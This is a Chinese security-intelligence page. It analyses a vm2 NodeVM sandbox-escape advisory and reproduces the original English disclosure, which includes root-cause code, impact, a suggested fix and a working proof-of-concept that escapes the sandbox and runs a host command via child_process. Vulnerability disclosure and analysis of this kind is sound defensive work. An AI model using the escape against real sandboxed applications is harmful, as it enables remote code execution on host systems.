CyberGuardAI 安全情报工作区
AI 安全知识情报
LJH 管理员
返回首页 漏洞库

vm2 NodeVM require配置缺陷致沙箱失效

摘要与解读

NodeVM的require.external默认配置可绕过沙箱,导致宿主文件访问与远程代码执行。

六维情报分析

6 个维度 · 原文可溯源

影响范围

  • vm2 · <= 3.11.6(不高于 3.11.6)
  • 来源报告的影响对象是 npm 包 vm2 的 NodeVM 沙箱使用方:当配置为 require.external: true 且未显式设置 require.root 时,沙箱内脚本可经 CustomResolver 的 host require 取得真实 NodeVM/VM 类,构造不受限的嵌套 NodeVM,并通过 child_process 执行宿主 OS 命令,后果为宿主文件系统完全暴露与完整 RCE。信任边界在于嵌入方以为 root 或外层 allowlist 提供隔离,而该路径上 isPathAllowed 在 root 未设时为空操作,外层 allowlist 在取得内层实例后失效。

    原文依据 · 3
    re()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — s
    查看原文 · v1
    ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any
    查看原文 · v1
    ured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance. ## Suggested Fix Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**
    查看原文 · v1

关联资产

  • vm2 · npm
  • 原文明示的关联资产为 npm 生态的 vm2 包,受影响版本 <= 3.11.6,修复版本 3.11.7;涉及组件包括 NodeVM/VM 类、lib/resolver-compat.js 中的 CustomResolver、require.external、require.root、context 选项及 child_process。适用前提是嵌入方以 NodeVM 运行不可信脚本且 require.external 为裸 true、未显式设置排除 node_modules 的 root;未提供本地资产清单,未与任何本地部署匹配。

    原文依据 · 3
    re()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — s
    查看原文 · v1
    oject root, or add an explicit callout that `root` must exclude `node_modules`). affected_products: {"ecosystem": "npm", "name": "vm2"} affected_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"} fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
    查看原文 · v1
    ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any
    查看原文 · v1

风险评估

  • 已报道机制:require.external 为裸 true 时使用 CustomResolver,其无外部模块名 allowlist,仅依赖 isPathAllowed;context 默认 'host',loadJS 在 host 上下文调用真实 hostRequire。触发条件为未显式设置 require.root,包括 README Quick Examples 中 root: './' 的写法,因 ./node_modules/vm2 位于该目录树内。来源给出 CVSS 10.0(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H),并指出已正确缓解前两个公告的嵌入方仍完全暴露,防护优先级应高于一般配置加固。

    原文依据 · 4
    re()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — s
    查看原文 · v1
    6"} fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"} cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"} cvss: {"score": 10.0, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"} cvss: {"score": 0.0, "vector": null} references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"} references: {"types": ["WEB"], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"} references: {"types": ["WEB"], "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec85446
    查看原文 · v1
    is still fully exposed via `require.external: true` alone. An embedder who has correctly mitigated both prior advisories remains completely open through this one. **Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of wh
    查看原文 · v1
    ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any
    查看原文 · v1

相关研究

  • 来源采用代码路径分析与 PoC 复现方法:定位 lib/resolver-compat.js 中 context 默认 'host'、CustomResolver.loadJS 调用 hostRequire,说明 root 未设时 isPathAllowed 失效;PoC 使用 README Quick Examples 原样配置,在普通项目布局下复现,无需符号链接、nesting 或危险 require.builtin 条目,也未修改 vm2 源码。作者贡献是揭示该路径未被 GHSA-8hg8-63c5-gwmx(Category 25)与 GHSA-cp6g-6699-wx9c(Category 24)覆盖,并建议仿照先例在构造时显式失败而非静默采用不安全默认组合。

    原文依据 · 4
    ce, not an acknowledgment of "every path is allowed." ## Proof of Concept See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source. ```js const path = require('path'); const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: true, root: './' }, // verbatim from README "Quick Examples" }); let vm2EntryPoint = path.relative(process.cwd(), require.resolve('
    查看原文 · v1
    ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any
    查看原文 · v1
    ured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance. ## Suggested Fix Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**
    查看原文 · v1
    keResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause). ## Details / Root Cause `lib/resolver-compat.js`: ```js const { builtin: builtinOpt, mock: mockOpt, external: externalOpt, root: rootPaths, resolve: customResolver, customRequire: hostRequire = defaultRequire, context = 'host', // <-- defaults to 'host' strict = true, fs: fsOpt = DEFAULT_F
    查看原文 · v1

验证资料

  • 来源报告的验证材料为附带 poc.js 的复现,运行于普通 npm 项目布局(poc.js 与真实 node_modules/vm2 并列),并确认相关代码在当前 main(post-3.11.5,含 Category 24/25 修复)中仍存在。防御性核查可围绕:检索 NodeVM 构造中 require.external 是否为裸 true、是否显式设置 require.root 且排除 node_modules、context 是否保持默认 host;日志侧观察沙箱进程是否出现 child_process 调用、对 node_modules/vm2 的 require.resolve 及异常嵌套 VM 构造。来源未给出运行时检测数据。

    原文依据 · 3
    ce, not an acknowledgment of "every path is allowed." ## Proof of Concept See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source. ```js const path = require('path'); const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: true, root: './' }, // verbatim from README "Quick Examples" }); let vm2EntryPoint = path.relative(process.cwd(), require.resolve('
    查看原文 · v1
    ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any
    查看原文 · v1
    keResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause). ## Details / Root Cause `lib/resolver-compat.js`: ```js const { builtin: builtinOpt, mock: mockOpt, external: externalOpt, root: rootPaths, resolve: customResolver, customRequire: hostRequire = defaultRequire, context = 'host', // <-- defaults to 'host' strict = true, fs: fsOpt = DEFAULT_F
    查看原文 · v1

处置建议

  • 按优先级:先将 vm2 升级至来源明确的修复版本 3.11.7;升级前若无法立即完成,为所有 NodeVM 显式设置 require.root 并确保其排除 node_modules,避免 require.external 裸 true 与默认 context 'host' 组合。随后在代码审查与 CI 中检索 NodeVM 构造参数,回归验证沙箱内脚本无法 require.resolve 到 vm2 自身入口或构造嵌套 NodeVM;运行期监测 child_process 调用与异常模块解析。上述配置与监测建议为基于来源机制的条件性推导。

    原文依据 · 4
    re()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`. This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`: ```js const vm = new NodeVM({ require: { external: true, root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — s
    查看原文 · v1
    oject root, or add an explicit callout that `root` must exclude `node_modules`). affected_products: {"ecosystem": "npm", "name": "vm2"} affected_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"} fixed_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "version": "3.11.7"}
    查看原文 · v1
    ``` and `CustomResolver.loadJS`: ```js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default) mod.exports = vm.readonly(m); } ``` `CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any
    查看原文 · v1
    ured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance. ## Suggested Fix Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**
    查看原文 · v1
模型与引文记录
模型
deepseek-flash
生成时间
记录编号
REQ-4426f8ad36c944288b6e80cddab15fe7
分析原文
查看原文 · v1

情报标识:GHSA-j3hm-6rg5-mchv · CVE-2026-92946

来源字段与 CVSS 指标

受影响产品

vm2 · npm

查看来源依据

结构化证据路径 $[30].vulnerabilities[0].package

{"ecosystem": "npm", "name": "vm2"}

受影响版本

vm2 · <= 3.11.6(不高于 3.11.6)

查看来源依据

结构化证据路径 $[30].vulnerabilities[0].vulnerable_version_range

"<= 3.11.6"
字段所属产品与版本上下文
[
  {
    "format": "github_advisory",
    "json_path": "$[30].vulnerabilities[0]",
    "quote": "{\"first_patched_version\": \"3.11.7\", \"package\": {\"ecosystem\": \"npm\", \"name\": \"vm2\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 3.11.6\"}",
    "record_path": "$.vulnerabilities[0]"
  }
]

来源列出的修复版本

vm2 · 3.11.7

查看来源依据

结构化证据路径 $[30].vulnerabilities[0].first_patched_version

"3.11.7"
字段所属产品与版本上下文
[
  {
    "format": "github_advisory",
    "json_path": "$[30].vulnerabilities[0]",
    "quote": "{\"first_patched_version\": \"3.11.7\", \"package\": {\"ecosystem\": \"npm\", \"name\": \"vm2\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 3.11.6\"}",
    "record_path": "$.vulnerabilities[0]"
  }
]

来源风险评分

10.0 / 10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H · CVSS 3.1

攻击途径
网络 (AV:N)
攻击复杂度
低 (AC:L)
所需权限
无需权限 (PR:N)
用户交互
不需要 (UI:N)
安全权限范围
改变 (S:C)
机密性影响
高 (C:H)
完整性影响
高 (I:H)
可用性影响
高 (A:H)

CVSS 3.1 指标说明

查看来源依据 · 2 处相同值

结构化证据路径 $[30].cvss

{"score": 10.0, "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}

结构化证据路径 $[30].cvss_severities.cvss_v3

{"score": 10.0, "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}

0.0 / 10 · CVSS v4(来源字段)

查看来源依据

结构化证据路径 $[30].cvss_severities.cvss_v4

{"score": 0.0, "vector_string": null}

来源处置建议

**Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed."

查看来源依据

原文位置 title_and_content · 4353–5100

**Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed."

资料档案

文献来源与参考链接

当前保存的来源版本 · v1

结构化格式
github_advisory
原始标题与分类记录

vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE

研究方向
攻击方法
影响维度
安全与合规
风险类型
待人工确认
相关技术
待人工确认

当前为离线关键词规则模式。

分类规则与原始字段
攻击方法 · attack
set in the first place, since there is no boundary to attack via symlink. - **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different*
安全与合规 · safety
root: './', }, }); ``` `root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same dir
{
  "ai_relevance": {
    "evidence": [],
    "matches": [],
    "method": "explainable_keyword_rules",
    "reason": "No explicit AI evidence; requires review",
    "relevant": false
  },
  "entity_ids": [
    "GHSA-j3hm-6rg5-mchv",
    "CVE-2026-92946"
  ],
  "facts": [
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].vulnerabilities[0].package",
        "quote": "{\"ecosystem\": \"npm\", \"name\": \"vm2\"}",
        "record_path": "$.vulnerabilities[0].package"
      },
      "field": "affected_products",
      "value": {
        "ecosystem": "npm",
        "name": "vm2"
      }
    },
    {
      "evidence": {
        "context": [
          {
            "format": "github_advisory",
            "json_path": "$[30].vulnerabilities[0]",
            "quote": "{\"first_patched_version\": \"3.11.7\", \"package\": {\"ecosystem\": \"npm\", \"name\": \"vm2\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 3.11.6\"}",
            "record_path": "$.vulnerabilities[0]"
          }
        ],
        "format": "github_advisory",
        "json_path": "$[30].vulnerabilities[0].vulnerable_version_range",
        "quote": "\"\u003c= 3.11.6\"",
        "record_path": "$.vulnerabilities[0].vulnerable_version_range"
      },
      "field": "affected_versions",
      "value": {
        "package": {
          "ecosystem": "npm",
          "name": "vm2"
        },
        "range": "\u003c= 3.11.6"
      }
    },
    {
      "evidence": {
        "context": [
          {
            "format": "github_advisory",
            "json_path": "$[30].vulnerabilities[0]",
            "quote": "{\"first_patched_version\": \"3.11.7\", \"package\": {\"ecosystem\": \"npm\", \"name\": \"vm2\"}, \"vulnerable_functions\": [], \"vulnerable_version_range\": \"\u003c= 3.11.6\"}",
            "record_path": "$.vulnerabilities[0]"
          }
        ],
        "format": "github_advisory",
        "json_path": "$[30].vulnerabilities[0].first_patched_version",
        "quote": "\"3.11.7\"",
        "record_path": "$.vulnerabilities[0].first_patched_version"
      },
      "field": "fixed_versions",
      "value": {
        "package": {
          "ecosystem": "npm",
          "name": "vm2"
        },
        "version": "3.11.7"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].cvss",
        "quote": "{\"score\": 10.0, \"vector_string\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\"}",
        "record_path": "$.cvss"
      },
      "field": "cvss",
      "value": {
        "score": 10.0,
        "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].cvss_severities.cvss_v3",
        "quote": "{\"score\": 10.0, \"vector_string\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\"}",
        "record_path": "$.cvss_severities.cvss_v3"
      },
      "field": "cvss",
      "value": {
        "score": 10.0,
        "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].cvss_severities.cvss_v4",
        "quote": "{\"score\": 0.0, \"vector_string\": null}",
        "record_path": "$.cvss_severities.cvss_v4"
      },
      "field": "cvss",
      "value": {
        "score": 0.0,
        "vector": null
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].references[0]",
        "quote": "\"https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv\"",
        "record_path": "$.references[0]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].references[1]",
        "quote": "\"https://nvd.nist.gov/vuln/detail/CVE-2026-92946\"",
        "record_path": "$.references[1]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].references[2]",
        "quote": "\"https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86\"",
        "record_path": "$.references[2]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].references[3]",
        "quote": "\"https://github.com/patriksimek/vm2/releases/tag/v3.11.7\"",
        "record_path": "$.references[3]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].references[4]",
        "quote": "\"https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external\"",
        "record_path": "$.references[4]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"
      }
    },
    {
      "evidence": {
        "format": "github_advisory",
        "json_path": "$[30].references[5]",
        "quote": "\"https://github.com/advisories/GHSA-j3hm-6rg5-mchv\"",
        "record_path": "$.references[5]"
      },
      "field": "references",
      "value": {
        "types": [
          "WEB"
        ],
        "url": "https://github.com/advisories/GHSA-j3hm-6rg5-mchv"
      }
    },
    {
      "evidence": {
        "end_offset": 5100,
        "location": "title_and_content",
        "quote": "**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"",
        "start_offset": 4353
      },
      "field": "mitigations",
      "value": "**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\""
    }
  ],
  "method": "source_grounded_extraction",
  "unknown_fields": [
    "papers",
    "poc"
  ]
}
原始采集文本
GHSA-j3hm-6rg5-mchv
## Summary

`NodeVM`'s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:

- `require.root` defaults to **unrestricted** — "if omitted every path is allowed."
- `require.context` defaults to **`"host"`** — files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.

Sandboxed code can therefore `require()` a relative or absolute path to vm2's own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.

This is exploitable using **vm2's own documented "Quick Examples" configuration** in `README.md`:

```js
const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});
```

`root: './'` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.


## Affected Versions

All vm2 versions where `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions` predates this report — confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

## Details / Root Cause

`lib/resolver-compat.js`:

```js
const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}
```

and `CustomResolver.isPathAllowed`:

```js
isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}
```

and `CustomResolver.loadJS`:

```js
loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}
```

`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** — it gates purely on `isPathAllowed`, which is a no-op when `root` isn't set. Combined with `context` defaulting to `'host'`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.

**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**

- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader's symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has — nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.
- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely — the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

**Documentation framing does not mitigate this to "expected behavior."** `require.external`'s JSDoc does carry an inline warning ("`root` should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than `nesting: true`'s bolded **WARNING**, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in `README.md` sets `root: './'`, which reads as an active safety choice, not an acknowledgment of "every path is allowed."

## Proof of Concept

See attached `poc.js`. Reproduces using **vm2's own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) — no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2's source.

```js
const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"
```

**Actual output on the test machine:**
```
{ whoami: 'Abisheik M', platform: 'win32' }
```

`Abisheik M` is the real OS account executing the Node.js process — not a sandbox artifact.

## Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:

- Execute arbitrary OS commands via `child_process` (full RCE).
- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).
- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

## Suggested Fix

Mirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**

In `lib/resolver-compat.js`'s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time — extending the *same* `checkedRootPaths` eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default `require` object when `nesting: true` is set.

Additionally: update `README.md`'s "Quick Examples" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).
affected_products: {"ecosystem": "npm", "name": "vm2"}
affected_versions: {"package": {"ecosystem": "npm", "name": "vm2"}, "range": "<= 3.11.6"}
